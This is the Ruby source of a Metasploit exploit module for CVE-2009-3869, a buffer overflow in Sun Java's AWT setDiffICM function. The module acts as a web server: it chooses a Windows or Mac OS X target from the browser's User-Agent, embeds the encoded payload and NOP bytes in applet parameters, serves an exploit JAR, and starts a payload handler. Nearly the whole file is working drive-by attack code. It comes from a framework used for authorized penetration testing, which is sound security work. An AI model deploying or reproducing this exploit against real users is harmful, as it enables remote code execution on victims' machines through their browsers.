Path: blob/master/modules/exploits/multi/browser/java_setdifficm_bof.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Sun Java JRE AWT setDiffICM Buffer Overflow',18'Description' => %q{19This module exploits a flaw in the setDiffICM function in the Sun JVM.2021The payload is serialized and passed to the applet via PARAM tags. It must be22a native payload.2324The effected Java versions are JDK and JRE 6 Update 16 and earlier,25JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and26earlier, and SDK and JRE 1.3.1_26 and earlier.2728NOTE: Although all of the above versions are reportedly vulnerable, only291.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.30},31'License' => MSF_LICENSE,32'Author' => [33'jduck'34],35'References' => [36[ 'CVE', '2009-3869' ],37[ 'OSVDB', '59710' ],38[ 'BID', '36881' ],39[ 'ZDI', '09-078' ]40],41'Payload' => {42'Space' => 1024,43'BadChars' => '',44'DisableNops' => true,45},46'Platform' => %w{win osx},47'Targets' => [48=begin4950No automatic targetting for now ...5152[ 'J2SE 1.6_16 Automatic',53{54'Platform' => %w{ linux osx win },55'Arch' => [ARCH_X86, ARCH_PPC]56}57],58=end59[60'J2SE 1.6_16 on Windows x86',61{62'Platform' => 'win',63'Arch' => ARCH_X8664}65],66[67'J2SE 1.6_16 on Mac OS X PPC',68{69'Platform' => 'osx',70'Arch' => ARCH_PPC,71}72],73[74'J2SE 1.6_16 on Mac OS X x86',75{76'Platform' => 'osx',77'Arch' => ARCH_X86,78}79],80],81'DefaultTarget' => 0,82'DisclosureDate' => '2009-11-04',83'Notes' => {84'Reliability' => UNKNOWN_RELIABILITY,85'Stability' => UNKNOWN_STABILITY,86'SideEffects' => UNKNOWN_SIDE_EFFECTS87}88)89)90end9192def on_request_uri(cli, req)93# Create a cached mapping between IP and detected target94@targetcache ||= {}95@targetcache[cli.peerhost] ||= {}96@targetcache[cli.peerhost][:update] = Time.now.to_i9798if (target.name =~ /Automatic/)99case req.headers['User-Agent']100when /Windows/i101print_status("Choosing a Windows target")102@targetcache[cli.peerhost][:target] = self.targets[1]103when /PPC Mac OS X/i104print_status("Choosing a Mac OS X PPC target")105@targetcache[cli.peerhost][:target] = self.targets[2]106when /Intel Mac OS X/i107print_status("Choosing a Mac OS X x86 target")108@targetcache[cli.peerhost][:target] = self.targets[3]109else110print_status("Unknown target for: #{req.headers['User-Agent']}")111end112end113114# Clean the cache115rmq = []116@targetcache.each_key do |addr|117if (Time.now.to_i > @targetcache[addr][:update] + 60)118rmq.push addr119end120end121122rmq.each { |addr| @targetcache.delete(addr) }123124# Request processing125if (not req.uri.match(/\.jar$/i))126127# Redirect to the base directory so the applet code loads...128if (not req.uri.match(/\/$/))129print_status("Sending redirect so path ends with / ...")130send_redirect(cli, get_resource() + '/', '')131return132end133134# Display the applet loading HTML135print_status("Sending HTML")136send_response_html(cli, generate_html(payload.encoded),137{138'Content-Type' => 'text/html',139'Pragma' => 'no-cache'140})141return142end143144# Send the actual applet over145print_status("Sending applet")146send_response(cli, generate_applet(cli, req),147{148'Content-Type' => 'application/octet-stream',149'Pragma' => 'no-cache'150})151152# Handle the payload153handler(cli)154end155156def generate_html(pl)157html = <<~EOF158<html>159<head>160<!-- <meta http-equiv=refresh content=10 /> -->161</head>162<body>163<applet width='100%' height='100%' code='AppletX' archive='JARNAME'>164<param name='sc' value='SCODE' />165<param name='np' value='NOPS' />166</applet>167</body>168</html>169EOF170# finalize html171jar_name = rand_text_alphanumeric(32) + ".jar"172html.gsub!(/JARNAME/, jar_name)173174# put payload into html175debug_payload = false176pload = ""177pload << "\xcc" if debug_payload178pload << pl179if ((pload.length % 4) > 0)180pload << rand_text((4 - (pload.length % 4)))181end182if debug_payload183print_status("pload #{pload.length} bytes:\n" + Rex::Text.to_hex_dump(pload))184end185html.gsub!(/SCODE/, Rex::Text.to_hex(pload, ''))186187# put nops into html188nops = "\x90\x90\x90\x90"189html.gsub!(/NOPS/, Rex::Text.to_hex(nops, ''))190# print_status("nops #{nops.length} bytes:\n" + Rex::Text.to_hex_dump(nops))191192return html193end194195def exploit196path = File.join(Msf::Config.data_directory, "exploits", "CVE-2009-3869.jar")197fd = File.open(path, "rb")198@jar_data = fd.read(fd.stat.size)199fd.close200201super202end203204def generate_applet(cli, req)205this_target = nil206if (target.name =~ /Automatic/)207if (@targetcache[cli.peerhost][:target])208this_target = @targetcache[cli.peerhost][:target]209else210return ''211end212else213this_target = target214end215216return @jar_data217end218end219220221